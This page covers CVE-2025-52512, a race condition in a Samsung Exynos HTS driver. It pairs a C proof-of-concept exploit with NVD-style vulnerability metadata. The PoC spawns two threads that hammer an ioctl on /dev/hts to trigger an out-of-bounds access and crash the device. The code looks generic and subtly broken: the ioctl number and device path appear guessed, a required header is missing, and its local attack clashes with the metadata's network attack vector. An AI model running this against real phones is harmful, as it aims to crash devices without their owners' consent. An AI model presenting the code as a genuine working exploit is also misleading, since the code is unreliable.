CVE-2025-52512

/* CVE-2025-52512 PoC - HTS Driver Race Condition * This PoC demonstrates the race condition in Samsung Exynos HTS driver * that leads to out-of-bounds memory access. * * WARNING: For educational and security research purposes only. * Do not use on systems without proper authorization. */ #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <sys/ioctl.h> #define HTS_DEVICE_PATH "/dev/hts" #define HTS_IOCTL_TRIGGER _IOR('H', 0x01, int) volatile int race_condition_triggered = 0; void* attacker_thread_1(void* arg) { int fd = open(HTS_DEVICE_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open HTS device\n"); return NULL; } // Rapidly trigger HTS operations while (!race_condition_triggered) { ioctl(fd, HTS_IOCTL_TRIGGER, 0); usleep(1); // Minimal delay to increase race window } close(fd); return NULL; } void* attacker_thread_2(void* arg) { int fd = open(HTS_DEVICE_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open HTS device\n"); return NULL; } // Offset timing to create race condition usleep(500); while (!race_condition_triggered) { ioctl(fd, HTS_IOCTL_TRIGGER, 1); // Interleave with thread 1 to trigger race } close(fd); return NULL; } int main() { pthread_t t1, t2; printf("[*] CVE-2025-52512 PoC - Exynos HTS Race Condition\n"); printf("[*] Target: Samsung Exynos 2400/1580/2500\n"); // Create concurrent threads to trigger race condition pthread_create(&t1, NULL, attacker_thread_1, NULL); pthread_create(&t2, NULL, attacker_thread_2, NULL); // Wait for timeout or crash sleep(10); race_condition_triggered = 1; pthread_join(t1, NULL); pthread_join(t2, NULL); printf("[*] PoC execution completed\n"); return 0; }

{"cve": {"id": "CVE-2025-52512", "sourceIdentifier": "[email protected]", "published": "2025-11-04T19:17:11.170", "lastModified": "2025-11-07T12:56:57.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Samsung Mobile Processor Exynos 2400, 1580, 2500. A race condition in the HTS driver results in out-of-bounds memory access, leading to a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1580:-:*:*:*:*:*:*:*", "matchCriteriaId": "93C1F9E8-DA04-4466-AF66-01560A07BD98"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2400_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "16D9272E-1794-48FF-B6A4-8F48395BA38E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2400:-:*:*:*:*:*:*:*", "matchCriteriaId": "932F5FB3-5527-44D7-9DD9-EF03963E3CA3"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2500_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "121D726F-2925-48FE-9CE4-3686B0802DA8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA3794C2-9E77-4139-B188-26BDEA39DE21"}]}]}], "references": [{"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-52512/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}